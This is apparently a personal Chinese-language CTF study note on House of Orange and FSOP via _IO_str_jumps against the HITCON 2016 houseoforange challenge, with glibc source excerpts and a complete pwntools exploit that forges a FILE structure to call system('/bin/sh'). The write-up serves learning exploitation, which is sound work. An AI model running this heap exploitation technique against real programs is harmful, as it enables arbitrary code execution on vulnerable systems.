再探FSOP

再探FSOP

这几天在光速筑基(这两个词好矛盾),之前学的知识感觉没有扎实。所以我计划要逐步整理。

还是以House of orange这题为例,不过我们这里换一个技巧,通过IO_str_jumps来实现。

一些细节不再阐述,本笔记用作个人复习使用。

House of Orange

这个技术可以在没有free函数的情况下将一个堆块free掉进入unsorted bin中。

原理是设法申请一个比当前top chunk更大的堆块,这时会触发sys_malloc函数,将top chunk给free掉,并且申请一块新的内存作为top chunk并切割出chunk返回

        //top chunk被free过程
          if (old_size >= MINSIZE)
            {
              set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
              set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
              set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
              _int_free (av, old_top, 1);
            }

我们可以通过堆溢出修改top chunk的size域,将其改小,使得我们更容易触发对于top chunk的free。

注意top chunk的结尾old_end(通过size偏移得到)要和内存页对齐。所以堆溢出时我们不要动size域后三位,把前面清零就行。

  assert ((old_top == initial_top (av) && old_size == 0) ||
          ((unsigned long) (old_size) >= MINSIZE &&
           prev_inuse (old_top) &&
           ((unsigned long) old_end & (pagesize - 1)) == 0));

FSOP技巧回顾

这个技巧,需要提前泄露出来libc基址和堆基址

利用unsorted bin attack修改_IO_list_all将其指向我们可控制的堆块,将堆块伪造成一个IO_FILE_plus结构,并在vtable处填入一个伪造的_IO_file_jumps地址,在伪造的虚表中的_IO_file_overflow的位置写入system函数的地址,通过触发error执行abort函数或者从main正常退出/调用exit函数,来触发"_IO_file_overflow",执行system("/bin/sh")

例题中我们是通过unsorted bin attack取出被溢出的堆块后,unsorted bin被破坏,但是还未寻得所需堆块(0x10),再次在unsorted bin中寻找堆块会找到IO_list_all附近,这里size域检查会寄掉报错,正好触发system

今天复习的时候脑子短路了,总是想着unsorted bin里面就这一个chunk,这个chunk还被last reminder指针指着,所以觉得堆块不应该被取出,而会被直接切割,无法触发FSOP。这里讲一讲,unsorted bin判断是否里面只有一个chunk的方式,是通过unsorted bin的bk指针找到最后一个堆块后,通过其bk找到倒第二个chunk(应该说是认为是chunk),然后判断这个chunk的地址是不是unsorted bin的地址,是的话则说明unsorted bin里面就只有一个chunk。这里由于unsorted bin attack需要伪造最后一个chunk的bk,所以一定不会被认为这是唯一的last reminder,因此不会触发切割分支。

在2.23的glibc中,我们可以自己在堆块中伪造一个虚表并将其地址作为fake_file的vtable指针,这一点之前博客有讲,不再赘述。但是在2.24版本之后glibc中加入了对于vtable地址合法性的检查,使得伪造一个vtable的思路不再可行。

因此我们要转换思路,这里用了另一个虚表:_IO_str_jumps

利用合法虚表_IO_str_jumps劫持程序执行流

_IO_str_jumps在对应_IO_file_jumps中_IO_file_overflow的地方也有个类似的函数_IO_str_overflow。

int
_IO_str_overflow (_IO_FILE *fp, int c)
{
    int flush_only = c == EOF;
    _IO_size_t pos;
    if (fp->_flags & _IO_NO_WRITES)
        return flush_only ? 0 : EOF;
    if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
        fp->_flags |= _IO_CURRENTLY_PUTTING;
        fp->_IO_write_ptr = fp->_IO_read_ptr;
        fp->_IO_read_ptr = fp->_IO_read_end;
    }
    pos = fp->_IO_write_ptr - fp->_IO_write_base;
    if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
    {
        if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
	        return EOF;
        else
	    {
	        char *new_buf;
	        char *old_buf = fp->_IO_buf_base;
	        size_t old_blen = _IO_blen (fp);
	        _IO_size_t new_size = 2 * old_blen + 100;
	        if (new_size < old_blen)
	            return EOF;
	        new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
	        if (new_buf == NULL)
	        {
	        /*	  __ferror(fp) = 1; */
	            return EOF;
	        }
	        if (old_buf)
	        {
	            memcpy (new_buf, old_buf, old_blen);
	            (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
	        /* Make sure _IO_setb won't try to delete _IO_buf_base. */
	            fp->_IO_buf_base = NULL;
	        }
	        memset (new_buf + old_blen, '\0', new_size - old_blen);

	        _IO_setb (fp, new_buf, new_buf + new_size, 1);
	        fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
	        fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
	        fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
	        fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

	        fp->_IO_write_base = new_buf;
	        fp->_IO_write_end = fp->_IO_buf_end;
	    }
    }

    if (!flush_only)
        *fp->_IO_write_ptr++ = (unsigned char) c;
    if (fp->_IO_write_ptr > fp->_IO_read_end)
        fp->_IO_read_end = fp->_IO_write_ptr;
    return c;
}
libc_hidden_def (_IO_str_overflow)

我们要利用这一行,这里如果能控制这个函数指针,就可以控制程序执行流:

new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

看看_IO_strfile及相关结构:

typedef void *(*_IO_alloc_type) (_IO_size_t);
typedef void (*_IO_free_type) (void*);

struct _IO_str_fields
{
  _IO_alloc_type _allocate_buffer;
  _IO_free_type _free_buffer;
};

struct _IO_streambuf
{
  struct _IO_FILE _f;
  const struct _IO_jump_t *vtable;
};

typedef struct _IO_strfile_
{
  struct _IO_streambuf _sbf;
  struct _IO_str_fields _s;
} _IO_strfile;


#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)

这个_allocate_buffer指针位于fp指向的FILE结构的vtable指针后面,即0xe0偏移处,我们在这个地方填上system函数地址就行。
下面要注意一下如何通过检查并准确传入"/bin/sh"的地址作为参数

简要概括:

    _flags置为0

    _IO_buf_base = 0
    _IO_buf_end = (str_bin_sh - 100) / 2

    _IO_write_base = 0
    _IO_write_ptr = str_bin_sh     随便放一个大数字,能绕过检查就行

    vtable = _IO_str_jumps

    *( (char*)fp + 0xe0 ) = system_addr

    另外打unsorted bin attack,要把bk设为IO_list_all-0x10,对应_IO_read_base

EXP

例题不放了,BUUCTF上有。

from pwn import *

context.arch='amd64'
context.log_level='debug'
context.terminal=['tmux','splitw','-h']

ELFpath='/home/wjc/Desktop/houseoforange_hitcon_2016'
libcpath='/home/wjc/Desktop/BUUCTF/libc/libc-2.23_64.so'

r=process(ELFpath)
libc=ELF(libcpath)

ru = lambda content:r.recvuntil(content)
rc = lambda num:r.recv(num)
sd = lambda content:r.send(content)
sl = lambda content:r.sendline(content)
getlib_7f= lambda :u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
getbase_55= lambda :u64(r.recvuntil('\x55')[-6:].ljust(8,'\x00'))
get6byte=lambda :u64(r.recv(6).ljust(8,'\x00'))

def cmd(idx):
    ru('Your choice : ')
    sl(str(idx))

def Add(size,name,price,color):
    cmd(1)
    ru('Length of name :')
    sl(str(size))
    ru('Name :')
    sd(name)
    ru('Price of Orange:')
    sl(str(price))
    ru('Color of Orange:')
    sl(str(color))

def Show():
    cmd(2)

def Edit(size,name,price,color):
    cmd(3)
    ru('Length of name :')
    sl(str(size))
    ru('Name:')
    sd(name)
    ru('Price of Orange:')
    sl(str(price))
    ru('Color of Orange:')
    sl(str(color))

Add(0x40,0x40*'a',0x666,0xDDAA)
ovf=0x40*'a'+p64(0)+p64(0x21)+p32(0x666)+p32(0xddaa)+p64(0)*2+p64(0xf71)
Edit(0x70,ovf,0x666,0xddaa)

Add(0xF80,0x40*'A',0x888,0xddaa)

Add(0x400,0x8*'b',0x777,0xddaa)

Show()
libcbase=getlib_7f()-(0x7f9875970188-0x7f98755ab000)
IO_list_all=libcbase+libc.symbols['_IO_list_all']
IO_file_jumps=libcbase+libc.symbols['_IO_file_jumps']
IO_str_jumps=IO_file_jumps+0xc0

system_addr=libcbase+libc.symbols['system']

log.success(('%-20s'+hex(libcbase))%'libcbase:')
log.success(('%-20s'+hex(IO_list_all))%'IO_list_all:')
log.success(('%-20s'+hex(IO_file_jumps))%'IO_file_jumps:')
log.success(('%-20s'+hex(IO_str_jumps))%'IO_str_jumps')
log.success(('%-20s'+hex(system_addr))%'system_addr')



Edit(0x10,0x10*'b',777,0xddaa)

Show()
ru(0x10*'b')
heapbase=get6byte()-(0x55a01662a0f0-0x55a01662a000)
str_bin_sh=heapbase+0x100
log.success(('%-20s'+hex(heapbase))%'heapbase:')
log.success(('%-20s'+hex(str_bin_sh))%'str_bin_sh:')


fake_chunk =p64(0)              #flag 0

fake_chunk+=p64(0x61)       
fake_chunk+=p64(0)
fake_chunk+=p64(IO_list_all-0x10)        

fake_chunk+=p64(0)
fake_chunk+=p64(str_bin_sh)
fake_chunk+=p64(0)

fake_chunk+=p64(0)
fake_chunk+=p64((str_bin_sh-100)/2)

fake_chunk=fake_chunk.ljust(0xd8,'\x00')

fake_chunk+=p64(IO_str_jumps)
fake_chunk+=p64(system_addr)

ovf='/bin/sh\x00'+0x3f8*'c'+p64(0)+p64(0x21)+p32(0x666)+p32(0xddaa)+p64(0)+fake_chunk

#gdb.attach(r,'b*$rebase(0x13D5)')

Edit(len(ovf),ovf,0x666,0xddaa)

cmd(1)

def LOGALL():
    log.success(('%-20s'+hex(libcbase))%'libcbase:')
    log.success(('%-20s'+hex(IO_list_all))%'IO_list_all:')
    log.success(('%-20s'+hex(IO_file_jumps))%'IO_file_jumps:')
    log.success(('%-20s'+hex(IO_str_jumps))%'IO_str_jumps')
    log.success(('%-20s'+hex(heapbase))%'heapbase:')
    log.success(('%-20s'+hex(str_bin_sh))%'str_bin_sh')
    log.success(('%-20s'+hex(system_addr))%'system_addr')
LOGALL()

r.interactive()
posted @ 2023-03-21 23:18  Jmp·Cliff  阅读(42)  评论(0编辑  收藏  举报